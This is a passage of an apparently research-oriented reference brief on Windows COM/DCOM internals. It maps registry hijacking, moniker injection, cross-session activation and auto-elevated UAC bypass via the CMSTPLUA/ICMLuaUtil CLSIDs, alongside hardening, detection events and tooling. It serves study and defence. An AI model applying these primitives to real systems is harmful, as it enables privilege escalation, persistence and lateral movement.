  4. Impersonation server-side: CoImpersonateClient()/CoRevertToSelf() — the client-supplied dwImpLevel caps what the server may do (Anonymous < Identify < Impersonate < Delegate). Cloaking (EOAC_STATIC/DYNAMIC_CLOAKING) decides which token the proxy presents — the root of "token kidnap"/wrong-identity bugs exploited by the potato family and activation-identity confusion.

9.3 Server identity

Chosen at launch from AppID: launching user (default; token of activator — integrity level is inherited! medium IL activator ⇒ medium IL server), RunAs user, LocalService, or Interactive User — which creates the object in whatever session is currently interactive, enabling cross-session activation by lower-privileged users when Launch/Access ACLs allow (bohops' CVE-2023-33127 chain: PhoneExperienceHost CLSID {7540C300-BE9B-4C0D-A335-F002F9AB73B7} activated cross-session; the general discovery method = OleViewDotNet filter "Run as: Interactive User").

9.4 UAC & the elevation bridge

CoGetObject("Elevation:Administrator!new:{CLSID}", &bind_opts3_with_hwnd, riid, &ppv) routes through the AppInfo service (appinfo.dll, RAiLaunchAdminProcess) which evaluates the class's elevation policy and shows consent UI (or auto-approves). Class requirements (Microsoft doc "The COM Elevation Moniker", verified verbatim):

  • registered under HKLM only (HKCU registrations cannot elevate — CO_E_ELEVATION_DISABLED path guard);
  • HKCR\CLSID\{CLSID}\Elevation\Enabled = 1 (else CO_E_ELEVATION_DISABLED);
  • HKCR\CLSID\{CLSID}\LocalizedString = @dll,-resid MUI display name (else CO_E_MISSING_DISPLAYNAME; MUI load errors from RegLoadMUIStringW propagate);
  • optional Elevation\IconReference; binary must be signed for icon display;
  • class must run as launching user / Activate-as-Activator else CO_E_RUNAS_VALUE_MUST_BE_AAA;
  • already-elevated client ⇒ no UI. Two elevation classes exist: prompted (consent UI — legitimate) and auto-elevated (silent for auto-approved binaries; abused by the CMSTPLUA family: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} + ICMLuaUtil {6EDD6D74-C007-4E75-B76A-E5740995E24C}ShellExec; artifact: child of DllHost.exe /Processid:{3E5FC7F9-...}). Server-side spawn: elevated dllhost or the LocalServer32 exe at High IL.

9.5 DCOM hardening (CVE-2021-26414, KB5004442)

Windows DCOM Server Security Feature Bypass → phased enforcement of RPC_C_AUTHN_LEVEL_PKT_INTEGRITY minimum for non-anonymous activation: Jun 2021 opt-in (HKLM\SOFTWARE\Microsoft\Ole\AppCompat!RequireIntegrityActivationAuthenticationLevel=1), Jun 2022 default-on, Nov 2022 client auto-raise (RaiseActivationAuthenticationLevel=2), Mar 2023 mandatory. Telemetry: System log source DistributedCOM events 10036 (server reject), 10037/10038 (client below floor) — also prime detection content for spotting lateral-movement activation attempts.

10. WinRT and .NET (short but necessary bridges)

  • WinRT is COM vNext: same IUnknown base; IInspectable (IID {AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}; GetIids, GetRuntimeClassName, GetTrustLevel) replaces IDispatch; metadata in .winmd (ECMA-335) instead of TLBs; activation via RoGetActivationFactory(HSTRING clsid, IID, void**) / RoActivateInstance; classes registered per-package under HKLM\SOFTWARE\Microsoft\WindowsRuntime (and ActivatableClassId server mappings), not HKCR\CLSID — hence invisible to classic hijack tooling; language projections (C++/WinRT, C#/WinRT, RoGetActivationFactory shims). Forshaw's OleViewDotNet parses both worlds.
  • .NET interop: managed classes exposed to COM are hosted by mscoree.dll as InprocServer32 with values Class, Assembly, RuntimeVersion, CodeBase; clients get an RCW (System.Runtime.InteropServices), servers a CCW. Type libraries via regasm /tlb / tlbexp; ComImport+Guid declares native interfaces in managed code; OleViewDotNet builds dynamic IDispatch stubs at runtime to call arbitrary vtables — the same trick fuzzers use (incendium.rocks methodology: registry/CLSID → JSON of interfaces/methods → automated Invoke).

11. Attack-surface map (fundamentals → chapter pointers)

# Primitive (rooted in this brief) Mechanism Attack family
1 HKCU shadowing of CLSID\{X}\InprocServer32/LocalServer32 merged-view precedence (4.1) → per-user persistence/exec; into auto-elevated procs → UAC bypass Persistence / UAC
2 TreatAs/AutoTreatAs redirect 4.2 checked before server key (used by Turla "COMpfun" family) Persistence
3 Phantom InprocServer32/LocalServer32 paths 5.2 load of non-existent file → plant binary Persistence
4 Interface\{IID}\ProxyStubClsid32 shadow 4.4 → DLL into both endpoints incl. SYSTEM servers LPE / Persistence
5 TypeLib\{LIBID}\...\win32 path shadow + LoadTypeLib moniker quirk 4.5 Persistence / Execution
6 ProgID/VersionIndependentProgID/CurVer squatting 3, 4.1 Persistence
7 Moniker string injection (script:, new:, session:, Elevation:, composite) 5.5, 8; CoGetObject/moniker-accepting APIs (Office OLE, LoadTypeLib, SCT/scriptlet) Execution
8 ROT squatting/snooping 8 LPE / Execution
9 Cross-session activation (RunAs=Interactive User) 9.3 LPE
10 DCOM remote activation of LM-friendly classes 5.4 Lateral movement
11 Custom-marshal blob abuse (OBJREF_CUSTOM forgery, IMarshal parsing bugs) 6.1/6.2 Execution / Relay
12 Surrogate abuse (DllSurrogate → attacker DLL in dllhost) 4.3 Persistence / Execution
13 Reg-free COM manifest hijack 4.7 Persistence / Execution

Representative CVEs anchored in fundamentals: CVE-2015-2370 (DCOM activation RPC replay → SYSTEM LPE; NTLM-authed ResolveOxid2 followed by replayed RemoteCreateInstance), CVE-2017-8759 (soap: WSDL moniker → .NET codegen RCE, in-the-wild), CVE-2018-0824 ("Microsoft COM for Windows RCE" — ole32 deserialization of crafted OLE/moniker data via Office OLE2 objects, exploited in the wild, patched May 2018; describe as moniker/OLE deserialization RCE), CVE-2017-0100 (Windows COM/DCOM EoP, HelpPane auto-elevation + activation identity — Forshaw; flag moderate confidence on exact mechanism), CVE-2021-26414 (DCOM activation auth-level bypass → the hardening saga of 9.5). Office responded to the moniker wave with a per-app kill list at HKLM\SOFTWARE\Microsoft\Office\<ver>\Common\COM Compatibility\{CLSID} ("ActivationFilter"/kill bits) covering htafile {3050F4D8-...}, scriptlet {06290BD3-...}, Composite {00000309-...}, File {00000303-...}, New {ECABAFC6-...}, SOAP {ECABB0C7-...} monikers.

12. Tooling & lab notes

  • OleViewDotNet (github.com/tyranid/oleviewdotnet): enumerates classes/interfaces/AppIDs/typelibs (incl. per-user & WOW64 views), shows AppID ACLs/RunAs/Elevation flags, parses vtables from typelibs/.winmd, ROT viewer, invoke arbitrary methods, spawn elevated (CreateElevated), filter "Run as Interactive User". The standard recon tool.
  • oleview.exe (SDK), dcomcnfg.exe, regedit/reg query HKCR\CLSID /s, PowerShell Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID, ProcMon (Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32, Result = NAME NOT FOUND for phantom hunting), Wireshark dcom/dcerpc dissectors (grep MEOW), RpcView (RPC interface/IPID maps), Event Viewer (DistributedCOM 10015/10016/1003610038), API Monitor / WinDbg bp combase!CoCreateInstance.
  • Lab: two VMs (domain-joined) for DCOM LM; a standard (non-admin) user VM for HKCU-hijack labs; snapshot before regsvr32/manifest experiments; enable "Microsoft-Windows-COMRuntime" ETW + OLE32/COM ETW providers for activation tracing.

13. Diagram specs (covered by DIAGRAM_SPEC d01d08)

  1. Anatomy of a COM object — client pointer → vptr → vtable slots 0..2 (QI/AddRef/Release) + method slots; second vptr for a second interface; refcount field.
  2. COM identity zoo — central GUID box; spokes CLSID/IID/AppID/LIBID/ProgID → registry homes.
  3. HKCR merged view — HKLM + HKCU stacks → merged HKCR lens; attacker writing into HKCU layer highlighted; WOW6432Node branch.
  4. Registry anatomy of a CLSID — tree from 4.2 with call-outs: TreatAs (checked first), InprocServer32+ThreadingModel, LocalServer32, AppID link, Elevation\Enabled.
  5. In-process activation sequence (d01).
  6. Local OOP activation sequence — RPCSS/DcomLaunch/-Embedding/CoRegisterClassObject/OBJREF; security-check gates.
  7. Remote DCOM activation sequence (d05) — TCP135, RemoteCreateInstance opnum 6, ResolveOxid2, dynamic ports.
  8. Apartment map of a process — Main STA/MTA/NTA; ThreadingModel coloring; FTM bypass.
  9. Proxy/stub call stack (d04).
  10. OBJREF on the wire (d04) — 'MEOW' 0x574F454D byte layout.
  11. OXID resolution & pinging timeline (d05).
  12. COM security decision funnel (d06/d08) — launch → access → authn → impersonation gates.
  13. Elevation moniker flow (d07).
  14. Moniker binding pipeline — display string → MkParseDisplayName → Composite → BindToObject → ROT check; dangerous prefixes overlay.
  15. Hijack primitive decision tree (d08) — which registry key shadowed → what loads where.
  16. Surrogate hosting — AppID{DllSurrogate=""} → dllhost /Processid.

14. Quick-reference GUID table

Item GUID
IID_IUnknown 00000000-0000-0000-C000-000000000046
IID_IClassFactory 00000001-0000-0000-C000-000000000046
IID_IMarshal 00000003-0000-0000-C000-000000000046
IID_IMoniker / IBindCtx / IROT 0000000F-… / 0000000E-… / 00000010-… (-C000-000000000046)
IID_IParseDisplayName 0000001A-0000-0000-C000-000000000046
IID_IDispatch 00020400-0000-0000-C000-000000000046
IID_ITypeInfo / ITypeLib 00020401-… / 00020402-…
PSDispatch / PSOAInterface (universal marshaler) 00020420-… / 00020424-0000-0000-C000-000000000046
IID_IRemUnknown / IRemUnknown2 00000131-… / 00000143-…
IGlobalInterfaceTable; CLSID_StdGIT 00000146-…; 00000323-0000-0000-C000-000000000046
CLSID_FreeThreadedMarshaler 00000333-0000-0000-C000-000000000046
IRemoteSCMActivator / ISystemActivator 000001A0-0000-0000-C000-000000000046
IOXIDResolver (IObjectExporter) 99FCFEC4-5260-101B-BBCB-00AA0021347A
Monikers: File/Item/Anti/Pointer/Composite/Class 00000303/…304/…305/…306/…309/…31A -C000-000000000046
NewMoniker ECABAFC6-7F19-11D2-978E-0000F8757E2A
ScriptMoniker (scrobj.dll) 06290BD3-48AA-11D2-8432-006008C3FBFC
QueueMoniker / SoapMoniker ECABAFC7-… / ECABB0C7-7F19-11D2-978E-0000F8757E2A
CMSTPLUA / ICMLuaUtil 3E5FC7F9-9A51-4367-9063-A120244FBEC7 / 6EDD6D74-C007-4E75-B76A-E5740995E24C
CLSID_FileOperation (IFileOperation host) 3AD05575-8857-4850-9277-11B85BDB8E09
Task Scheduler (Schedule.Service) 0F87369F-A4E5-4CFC-BD3E-73E6154572DD
WScript.Shell / Shell.Application / IE 72C24DD5-D70A-438B-8A42-98424B88AFB8 / 13709620-C279-11CE-A49E-444553540000 / 0002DF01-0000-0000-C000-000000000046
IInspectable (WinRT) AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90

REFERENCES

  1. CoCreateInstance function (combaseapi.h) — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
  2. CLSCTX enumeration (wtypesbase.h) — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/wtypesbase/ne-wtypesbase-clsctx
  3. CoInitializeEx function — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializeex
  4. CoInitializeSecurity function — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializesecurity
  5. The COM Elevation Moniker — MicrosoftDocs/win32 (exact registry requirements LocalizedString / Elevation\Enabled / error codes): https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/com/the-com-elevation-moniker.md
  6. AppID Key — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/appid-key
  7. CLSID Key — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
  8. Registering COM Servers / InprocServer32 — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/registering-com-servers
  9. Distributed Component Object Model Protocol — DCOM/1.0 draft (Brown/Kindel; OBJREF/STDOBJREF/DUALSTRINGARRAY/MEOW, tower IDs): https://download.samba.org/pub/samba/specs/draft-brown-dcom-v1-spec-03.txt (IETF mirror: https://datatracker.ietf.org/doc/html/draft-brown-dcom-v1-spec-03)
  10. [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol — Microsoft Learn: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/
  11. Understanding the DCOM Wire Protocol by Analyzing Network Data Packets — MSJ March 1998 (mirror): https://jacobfilipp.com/MSJ/dcom.html
  12. 3 Ways to Get a COM Server Process ID (OBJREF/STDOBJREF C structs, OXID/OID/IPID semantics) — Apriorit: https://www.apriorit.com/dev-blog/724-windows-three-ways-to-get-com-server-process-id
  13. Inside COM+ (Dale Rogerson) — More on Monikers (IMoniker method table): https://thrysoee.dk/InsideCOM+/ch11c.htm ; DLL Surrogates (AppID named-values table): https://thrysoee.dk/InsideCOM+/ch12b.htm ; Marshaled Interface Pointers: https://thrysoee.dk/InsideCOM+/ch19e.htm
  14. The Component Object Model (COM registry keys table, HKCR merged view, SCM lookup walkthrough) — magicsplat: https://www.magicsplat.com/book/com.html
  15. COM Hijacking in Windows (HKCR/WOW6432Node, per-user vs system hives, InprocServer32/LocalServer32/TreatAs) — cyberc0re: https://www.cyberc0re.in/posts/com-hijacking-in-windows/
  16. Lateral Movement Using DCOM Objects and C# (CLSID/ProgID/AppID model, AppID requirement for DCOM) — klezvirus: https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
  17. Yet another DCOM object for lateral movement (COM terminology, HKCR\Interface/CLSID subkeys) — Kaspersky Securelist: https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/
  18. Abusing .NET Core CLR Diagnostic Features (+CVE-2023-33127) — cross-session DCOM activation via "Interactive User" RunAs, OleViewDotNet methodology — bohops: https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
  19. OleViewDotNet — James Forshaw (tyranid): https://github.com/tyranid/oleviewdotnet
  20. DCOM Logical Privilege Escalation Part 6 (cites Forshaw "COM in Sixty Seconds"; ISystemActivator 000001A0, PropsOutInfo/MInterfacePointer→OBJREF): https://ithelp.ithome.com.tw/articles/10339264
  21. CVE-2015-2370 DCOM DCE/RPC protocol analysis (IRemoteSCMActivator::RemoteCreateInstance replay LPE; rpcss.dll IObjectExporter/ResolveOxid2): https://security.zone.ci/AnQuanKe/AnQuanKeInfo/132266.html
  22. KB5004442 — Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support: https://support.microsoft.com/en-au/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c
  23. DCOM authentication hardening: what you need to know — Microsoft Tech Community: https://techcommunity.microsoft.com/blog/windows-itpro-blog/dcom-authentication-hardening-what-you-need-to-know/3657154
  24. Microsoft DCOM Hardening Patch (CVE-2021-26414) — events 10036/10037/10038 details — SoftwareToolbox: https://help.softwaretoolbox.com/faq/microsoft-dcom-hardening
  25. Attacking Visual Studio for Initial Access (LoadTypeLib moniker-parsing quirk; script moniker 06290BD3) — Outflank: https://www.outflank.nl/blog/2023/03/28/attacking-visual-studio-for-initial-access/
  26. Moniker Magic: Running Scripts Directly in Microsoft Office (script moniker CLSID, OleCreateLink bind chain) — leo00000 PDF: https://leo00000.github.io/pdf/Moniker_Magic_final.pdf
  27. Office Moniker vulnerabilities overview (CVE-2017-8759, CVE-2018-8174, Office moniker blacklist CLSIDs incl. NewMoniker ECABAFC6): https://zhuanlan.zhihu.com/p/352124245
  28. Automating COM/DCOM vulnerability research (OleViewDotNet-driven fuzzing; IDispatch JSON dump methodology) — incendium.rocks: https://incendium.rocks/posts/Automating-COM-Vulnerability-Research/
  29. Security Considerations for Requestors (CoInitializeSecurity hardening guidance) — Microsoft (MSDN archive): https://msdn.microsoft.com/en-us/library/windows/desktop/aa384604(v=vs.85).aspx
  30. CoInitializeSecurity (ole32) — EOAC/Authn/Imp enum values — pinvoke.net: http://pinvoke.net/default.aspx/ole32.CoInitializeSecurity
  31. The case of COM failing to pump messages in a single-threaded COM apartment — Raymond Chen, The Old New Thing: https://devblogs.microsoft.com/oldnewthing/20250314-00/?p=110965
  32. Apartments and COM Threading Models (STA/MTA internals, hidden window, SCM activation modes) — Syracuse ECS CSE775: https://ecs.syr.edu/faculty/fawcett/Handouts/cse775/Presentations/apartments.pdf
  33. Windows Scheduled Tasks research (elevation-moniker requirements testing; Task Scheduler CLSID 0F87369F) — 3gstudent: https://3gstudent.github.io/backup-3gstudent.github.io/
  34. Reversing ICMLuaUtil: ShellExec and CallCustomActionDll for Elevated Execution — codedintrusion: https://codedintrusion.com/posts/reversing-icmluautil/
  35. Sharp4COMBypassUAC: ICMLuaUtil UAC bypass (elevation moniker + BIND_OPTS3 dwClassContext=4) — xz.aliyun.com: https://xz.aliyun.com/t/16063
  36. ALPHV ransomware analysis (CMSTPLUA elevation moniker in the wild; dllhost /Processid artifact) — d01a.github.io: https://d01a.github.io/alphv/
  37. Info Stealing Campaign Uses DLL Sideloading Through Cisco Webex Binaries (CoGetObject elevation moniker TTP, T1548.002) — Trellix: https://www.trellix.com/blogs/research/how-attackers-repackaged-a-threat-into-something-that-looked-benign/
  38. GhostWeaver PowerShell RAT (PEB masquerade + elevation moniker + ServerCreateElevatedObject) — derp.ca: https://www.derp.ca/research/ghostweaver-tag124-powershell-rat/
  39. In-Memory Loader Drops ScreenConnect (elevation moniker string obfuscation in loaders) — Zscaler ThreatLabz: https://www.zscaler.com/jp/blogs/security-research/memory-loader-drops-screenconnect
  40. Lines Sample (canonical registry registration: ProgID/CurVer/LocalServer32/TypeLib/Interface ProxyStubClsid32=PSOAInterface) — Microsoft MSDN: https://msdn.microsoft.com/en-us/library/ms220980.aspx
  41. MSI Packaging ebook — TypeLib table → HKCR\TypeLib{LIBID}<ver>\0\Win32, FLAGS, HELPDIR: https://www.advancedinstaller.com/application-packaging-training/msi/ebook/registries.html
  42. Default CLSID/IID list Windows 10 19041 (scrobj.dll family: Scriptlet.Context/Constructor/Factory, Script moniker BD3, HostEncode BD4, TypeLib BD5) — inaz2 gist: https://gist.github.com/inaz2/5fa3ca02f4e8204a7dd4d4b50fd0c13f
  43. STA vs MTA in COM: Apartments, Marshaling, and Deadlocks — comcomponent.com: https://comcomponent.com/en/blog/2026/01/31/000-sta-mta-com-relationship/
  44. COM in Sixty Seconds — James Forshaw (44CON 2017 talk, activation/OBJREF internals; slides via 44CON archive): https://github.com/tyranid/presentations

Confidence & gaps: All registry paths, API signatures, OBJREF structures, CLSCTX/COINIT/authn-level constants, and the moniker CLSIDs in section 14 are verified against at least two sources above. Explicitly unverified (flagged inline): Session Moniker & Elevation Moniker implementation CLSIDs (syntax documented; confirm numeric CLSIDs in OleViewDotNet), exact mechanism attribution for CVE-2017-0100, and current default values of LegacyAuthenticationLevel/LegacyImpersonationLevel on fully-patched Win11 (hardening has shifted these; describe as version-dependent).